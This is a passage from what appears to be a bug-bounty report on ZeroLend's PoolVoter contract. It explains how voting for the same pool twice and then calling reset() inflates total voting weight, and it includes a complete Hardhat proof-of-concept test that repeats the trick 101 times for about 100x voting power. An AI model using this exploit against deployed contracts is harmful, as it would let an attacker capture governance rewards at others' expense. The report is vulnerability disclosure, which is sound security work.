However, a crucial flaw exists as the function fails to check for repeated pools in the _poolVote array. Moreover, it only considers the last weight if the same pool is utilized, as seen here - https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol#L117.
When a voter calls the reset() function to retrieve their voting power back and vote for another gauge, only the last weight is taken into account in case of repeated pool voting.
As a result, the voter recovers the full voting power. Yet totalWeight and weights[_pool] are decreased only by the last element from the _weights array passed to the vote().
The attacker possesses a voting power of 19.01 ether.
They invoke vote() to vote for the same gauge with the following parameters:
_poolVote = [gauge, gauge]
_weights = [19 ether, 1e8]
Further they call reset(), but weights[_pool] and totalWeight are only decreased by 1e8.
The attacker retains the full 19.01 ether voting power. But weights[_pool] and totalWeight are now increased by 19 ether.
By repeating steps 2-3 in a loop many times, the attacker can consolidate the majority of votes for their chosen gauge, and all rewards will be distributed to it.
By repeating steps 2-3 for 100 times, it's tantamount to having 1900 ether voting power.
Proof of Concept
To run the Poc put it's code to the governance-main/test/PoolVoter.poc.ts file, generate random private key, and issue the following command:
WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/PoolVoter.poc.ts --config hardhat.config.ts --network hardhat
import { expect } from "chai";
import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import {
GaugeIncentiveController,
OmnichainStaking,
Pool,
PoolVoter,
StakingBonus,
TestnetERC20,
VestedZeroNFT,
ZeroLend,
} from "../typechain-types";
import { e18 } from "./fixtures/utils";
import { deployVoters } from "./fixtures/voters";
// Put inside governance-main/test/PoolVoter.poc.ts
// Run as:
// WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/PoolVoter.poc.ts --config hardhat.config.ts --network hardhat
describe.only("PoolVoter Immunefi Boost", () => {
let ant: SignerWithAddress;
let now: number;
let omniStaking: OmnichainStaking;
let poolVoter: PoolVoter;
let reserve: TestnetERC20;
let stakingBonus: StakingBonus;
let vest: VestedZeroNFT;
let pool: Pool;
let aTokenGauge: GaugeIncentiveController;
let zero: ZeroLend;
beforeEach(async () => {
const deployment = await loadFixture(deployVoters);
ant = deployment.ant;
now = Math.floor(Date.now() / 1000);
omniStaking = deployment.governance.omnichainStaking;
poolVoter = deployment.poolVoter;
reserve = deployment.lending.erc20;
stakingBonus = deployment.governance.stakingBonus;
vest = deployment.governance.vestedZeroNFT;
zero = deployment.governance.zero;
pool = deployment.lending.pool;
aTokenGauge = deployment.aTokenGauge;
// deployer should be able to mint a nft for another user
await vest.mint(
ant.address,
e18 * 20n, // 20 ZERO linear vesting
0, // 0 ZERO upfront
1000, // linear duration - 1000 seconds
0, // cliff duration - 0 seconds
now + 1000, // unlock date
true, // penalty -> false
0
);
// stake nft on behalf of the ant
await vest
.connect(ant)
["safeTransferFrom(address,address,uint256)"](
ant.address,
stakingBonus.target,
1
);
// there should now be some voting power for the user to play with
// ant voting power is ~ 19 ether
expect(await omniStaking.balanceOf(ant.address)).lessThan(e18 * 20n);
});
it("ant fraudulently increases his voting power by 100x", async function () {
expect(await poolVoter.totalWeight()).eq(0);
for (let i=0; i < 101; i++) {
// Vote for the same pool 2 times but with different weights
// 19 ether and 1e8 wei
await poolVoter.connect(ant).vote(
[reserve.target, reserve.target],
[19n*e18, 1e8]
);
// Reset() call resets only 1e8 wei votes.
// However, 19 ether votes remains untouched in totalWeight().
// ant can has voting power of 19 ether again and again.
// https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol#L67
// https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol#L61-L63
await poolVoter.connect(ant).reset();
}
expect(await poolVoter.totalWeight()).greaterThan(e18 * 19n * 100n);
});
});